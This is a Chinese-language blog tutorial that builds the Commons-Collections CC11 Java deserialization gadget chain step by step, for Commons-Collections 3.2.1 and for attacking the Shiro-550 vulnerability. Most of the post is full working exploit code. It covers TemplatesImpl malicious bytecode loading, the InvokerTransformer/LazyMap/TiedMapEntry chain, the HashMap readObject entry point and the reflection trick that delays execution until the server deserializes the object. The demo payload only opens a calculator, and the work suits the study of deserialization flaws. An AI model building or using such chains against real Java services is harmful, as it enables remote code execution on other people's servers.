Java反序列化Commons-Collections篇-CC11链

Java反序列化Commons-Collections篇-CC11链

前言

CC11链=CC2+CC6

这条链子的主要作用是为了可以在Commons-Collections 3.2.1 版本中使用,这条链子适用于shiro-550漏洞

构建链子

找链子

1758009207228-f08075e6-a214-4014-88c6-2c53df42c12d.png

首先CC2链子的后半部分利用TemplatesImpl类调用defineClass加载恶意类是可以直接照搬的

动态加载过程如图,将Calc.class传入defineClass,让它加载此恶意字节码,

注意这里的defineClass也是有局限性的,因为它只是加载恶意类,而不是执行,若需要执行,则必须先要进行newInstance实例化。

1758176375186-5ace0abf-c7ce-400b-b0c0-192b23871567.png

下面为在TemplatesImp类中defineClass方法的传播过程

1758176766625-2c6dbdce-3766-4d32-b50b-a1ffcef19d63.png

1758176717393-1e2c9efe-5bbb-401d-abec-daea14ca03d9.png

1758176871706-d4d31530-6f13-41ff-81de-cde8efeb822f.png

1758176904144-b6321e94-fe49-49d0-8ab8-4aaf39e8e1b6.png

最后终于找到了一个public的newTransformer方法,

由于在getTransletinstance方法中就已经实例化了,我们只需要保证这些方法被执行就行了。

这里为了满足一些条件判断和为空报错的问题就需要用反射的方式在参数中传入需要的值。

  • 包括 在_bytecodes传入恶意字节码
  • 将_name改为非空
  • 将_tfactory初始化

最后得到的exp为

TemplatesImpl templates=new TemplatesImpl();

Class c=templates.getClass();
Field tfactory =c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Field name=c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");

Field bytecode=c.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
byte[][] code={eval};
bytecode.set(templates,code);

templates.newTransformer();

成功弹出计算器

继续往后构造,目的是执行templates.newTransformer();

因为InvokerTransformer方法的transform中调用了invoke,那么可以借此触发此函数

1758177331117-cb1dddef-5f08-441e-a163-18cabc281d38.png

1758177451315-5a5347c3-75d0-4af8-9dfe-4713e59c14e7.png

这里的ChainedTransformer能把数组中的所有参数都进行transform

1758177516506-83a58c67-39ca-48a2-87d9-91a978570a15.png

这里的transform返回原来的值

所以构造

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
chainedTransformer.transform("1");

成功弹出计算器

1758177631849-dc85444f-9b68-49fa-81e2-f7414edc1797.png

继续往下找,找到谁调用了transform函数

1758177696141-b23a70e6-6c55-4989-9cbd-d65622ed122e.png

在LazyMap类中看到了这个,并且Map类也是个相当常见的类,将chainedTransformer传入LazyMap的factory,一路跟着构造的方法。

1758177776408-cd720f7e-259c-432a-9db6-cb75679f49ab.png

1758177808496-1972b80f-74f4-453a-93cc-815bf10331c3.png

那么就是

Map decoratemap=LazyMap.decorate(hashMap,chainedTransformer);

现在的目的是调用decoratemap的get方法

1758178407294-2a7260ca-0358-4e49-adcc-b04d2f39b697.png

所以再这里的构造为

        TiedMapEntry tiedMapEntry=new TiedMapEntry(decoratemap,"key");
        tiedMapEntry.getValue();

到目前为止完整的链子


public class CC11 {
    public  static void main(String[]args) throws  Exception{
        TemplatesImpl templates=new TemplatesImpl();

        Class c=templates.getClass();
        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecode=c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][] code={eval};
        bytecode.set(templates,code);

        //templates.newTransformer();
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
  //      chainedTransformer.transform("1");
        HashMap<Object,Object> hashMap=new HashMap<>();

        Map decoratemap=LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry=new TiedMapEntry(decoratemap,"key");
        tiedMapEntry.getValue();


    }
}

1758178892230-5cd2010b-386d-43ac-947b-2f56510648ab.png

成功弹出计算器

由于反序列的入口类都是在反序列化的时候会自动执行的readObject方法,所以我们最终的目的是这个方法,继续往下找

与入口类结合的整条链子

找到TiedMapEntry的getValue方法,

在HashMap中的方法

1758178513414-91b35c03-9f93-4192-a1a1-72750bfad028.png

这就是很经典的一条反序列化入口了,一般看到hashCode都是

xxx.readObject()
	HashMap.put() --自动调用-->   HashMap.hash()
		后续利用链.hashCode()

所以这里这样构造

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
    public  static void main(String[]args) throws  Exception{
        TemplatesImpl templates=new TemplatesImpl();

        Class c=templates.getClass();
        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecode=c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][] code={eval};
        bytecode.set(templates,code);

        //templates.newTransformer();
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
  //      chainedTransformer.transform("1");
        HashMap<Object,Object> hashMap=new HashMap<>();

        Map decoratemap=LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry=new TiedMapEntry(decoratemap,"key");
        //tiedMapEntry.getValue();

        HashMap hashMap1=new HashMap<>();
        hashMap1.put(tiedMapEntry,"value");

        serialize(hashMap1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;


}
}

但是这里打断点调试会发现,计算器提前弹出了,打断点会发现hashMap1.put(tiedMapEntry,"value");的时候计算器就提前弹出了,这里是因为hashmap的put方法就会间接进入到链子里面。

这里必须要让恶意类延迟到反序列化中执行,因为如果提前被触发就是在客户端,必须让恶意代码在服务端被执行才能达到恶意目的

如何让恶意类延迟到反序列化的时候再执行呢,就是先传入一个无用的参数,再在后面通过反射的方式将参数改变

构造最后的链子

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
    public  static void main(String[]args) throws  Exception{
        TemplatesImpl templates=new TemplatesImpl();

        Class c=templates.getClass();
        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecode=c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][] code={eval};
        bytecode.set(templates,code);

        //templates.newTransformer();
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
  //      chainedTransformer.transform("1");
        HashMap<Object,Object> hashMap=new HashMap<>();

        Map decoratemap=LazyMap.decorate(hashMap,new ConstantTransformer("five"));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(decoratemap,"key");
        //tiedMapEntry.getValue();

        HashMap hashMap1=new HashMap<>();
        hashMap1.put(tiedMapEntry,"value");
        decoratemap.remove("key");

        Class cl=LazyMap.class;
        Field factory=cl.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decoratemap,chainedTransformer);

        serialize(hashMap1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;


}
}

最终不带Transformer版本的链子

真正的CC11链子是可以不带Transformer数组的,这样,我们可以通过CC11来打Shrio-550的漏洞。

这里像CC2一样利用InvokerTransfomer调用TempalteImpl.newTransformer()

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
    public  static void main(String[]args) throws  Exception{
        TemplatesImpl templates=new TemplatesImpl();

        byte[] eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][] code={eval};
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_name","a");
        setFieldValue(templates,"_bytecodes",code);
        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        HashMap<Object,Object> hashMap=new HashMap<>();

        Map decoratemap=LazyMap.decorate(hashMap,new ConstantTransformer("five"));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(decoratemap,templates);

        HashMap hashMap1=new HashMap<>();
        hashMap1.put(tiedMapEntry,"value");
        decoratemap.remove(templates);

        setFieldValue(decoratemap,"factory",invokerTransformer);

        serialize(hashMap1);
        unserialize("ser.bin");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;


    }
}

总结

1758183922261-a2d40a43-e4ac-4d14-8d1a-960c64cb341b.png

更新: 2025-09-18 16:25:27
原文: https://www.yuque.com/cindahy/ukztx0/ouxeywn74c6txg7y

评论